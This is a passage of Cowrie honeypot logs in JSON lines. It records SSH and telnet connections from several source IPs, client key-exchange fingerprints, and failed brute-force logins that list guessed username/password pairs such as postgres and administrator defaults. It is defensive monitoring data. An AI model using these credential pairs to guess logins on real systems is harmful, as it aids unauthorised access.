{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:52.145630Z","src_ip":"80.253.31.232","session":"c756f11e5fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vnc","message":"login attempt [vncuser/vnc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:52.707057Z","src_ip":"80.253.31.232","session":"c756f11e5fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:53.842799Z","src_ip":"80.253.31.232","session":"c756f11e5fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.448370933532715,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:05.441608Z","src_ip":"5.61.90.139","session":"e7b9294f71a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.177.109.120","src_port":44998,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d577923f36b","protocol":"telnet","message":"New connection: 111.177.109.120:44998 (10.17.0.5:23) [session: 1d577923f36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:15.728215Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45724,"dst_ip":"159.203.135.109","dst_port":22,"session":"936fcb8e175b","protocol":"ssh","message":"New connection: 159.203.92.129:45724 (159.203.135.109:22) [session: 936fcb8e175b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:20.163067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:20.167956Z","src_ip":"159.203.92.129","session":"936fcb8e175b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:20.172752Z","src_ip":"159.203.92.129","session":"936fcb8e175b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"aitech1","message":"login attempt [aitech/aitech1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:20.183904Z","src_ip":"159.203.92.129","session":"936fcb8e175b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:21.190688Z","src_ip":"159.203.92.129","session":"936fcb8e175b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.025307416915894,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:28.753364Z","src_ip":"111.177.109.120","session":"1d577923f36b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":47818,"dst_ip":"159.203.135.109","dst_port":22,"session":"80bcbd77faeb","protocol":"ssh","message":"New connection: 80.253.31.232:47818 (159.203.135.109:22) [session: 80bcbd77faeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:36.573739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:36.578427Z","src_ip":"80.253.31.232","session":"80bcbd77faeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:36.707588Z","src_ip":"80.253.31.232","session":"80bcbd77faeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":49870,"dst_ip":"159.203.135.109","dst_port":22,"session":"9934f9f9943d","protocol":"ssh","message":"New connection: 217.154.192.185:49870 (159.203.135.109:22) [session: 9934f9f9943d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:36.861020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:36.865982Z","src_ip":"217.154.192.185","session":"9934f9f9943d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:36.961534Z","src_ip":"217.154.192.185","session":"9934f9f9943d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"777777","message":"login attempt [user/777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:37.253368Z","src_ip":"80.253.31.232","session":"80bcbd77faeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Qq123456","message":"login attempt [postgres/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:37.374295Z","src_ip":"217.154.192.185","session":"9934f9f9943d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018219947815,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:38.210030Z","src_ip":"146.120.225.17","session":"f93713abb57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:38.389260Z","src_ip":"80.253.31.232","session":"80bcbd77faeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:38.471908Z","src_ip":"217.154.192.185","session":"9934f9f9943d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":47496,"dst_ip":"10.17.0.5","dst_port":23,"session":"e23bc767d0e2","protocol":"telnet","message":"New connection: 146.120.225.17:47496 (10.17.0.5:23) [session: e23bc767d0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:49:41.718935Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51280,"dst_ip":"159.203.135.109","dst_port":22,"session":"079038e6a83a","protocol":"ssh","message":"New connection: 159.203.92.129:51280 (159.203.135.109:22) [session: 079038e6a83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:07.035459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:07.086386Z","src_ip":"159.203.92.129","session":"079038e6a83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:07.090640Z","src_ip":"159.203.92.129","session":"079038e6a83a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"aitech111111","message":"login attempt [aitech/aitech111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:07.231977Z","src_ip":"159.203.92.129","session":"079038e6a83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:08.245495Z","src_ip":"159.203.92.129","session":"079038e6a83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.236.85","src_port":40546,"dst_ip":"10.17.0.5","dst_port":23,"session":"4601b1611160","protocol":"telnet","message":"New connection: 8.222.236.85:40546 (10.17.0.5:23) [session: 4601b1611160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:08.693532Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60660,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c55256016c","protocol":"telnet","message":"New connection: 5.61.90.139:60660 (10.17.0.5:23) [session: 25c55256016c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:16.303905Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":33380,"dst_ip":"159.203.135.109","dst_port":22,"session":"192223596c56","protocol":"ssh","message":"New connection: 80.253.31.232:33380 (159.203.135.109:22) [session: 192223596c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:21.519070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:21.526086Z","src_ip":"80.253.31.232","session":"192223596c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:21.651810Z","src_ip":"80.253.31.232","session":"192223596c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres#2021","message":"login attempt [postgres/postgres#2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:22.169813Z","src_ip":"80.253.31.232","session":"192223596c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:23.294883Z","src_ip":"80.253.31.232","session":"192223596c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":58370,"dst_ip":"159.203.135.109","dst_port":22,"session":"490d7bf22c67","protocol":"ssh","message":"New connection: 217.154.192.185:58370 (159.203.135.109:22) [session: 490d7bf22c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:24.180718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:24.186316Z","src_ip":"217.154.192.185","session":"490d7bf22c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:24.280429Z","src_ip":"217.154.192.185","session":"490d7bf22c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Password@123","message":"login attempt [administrator/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:24.708860Z","src_ip":"217.154.192.185","session":"490d7bf22c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:25.810143Z","src_ip":"217.154.192.185","session":"490d7bf22c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":51942,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1b1796a285c","protocol":"ssh","message":"New connection: 91.134.240.52:51942 (159.203.135.109:22) [session: a1b1796a285c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:28.940086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:50:28.945797Z","src_ip":"91.134.240.52","session":"a1b1796a285c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecd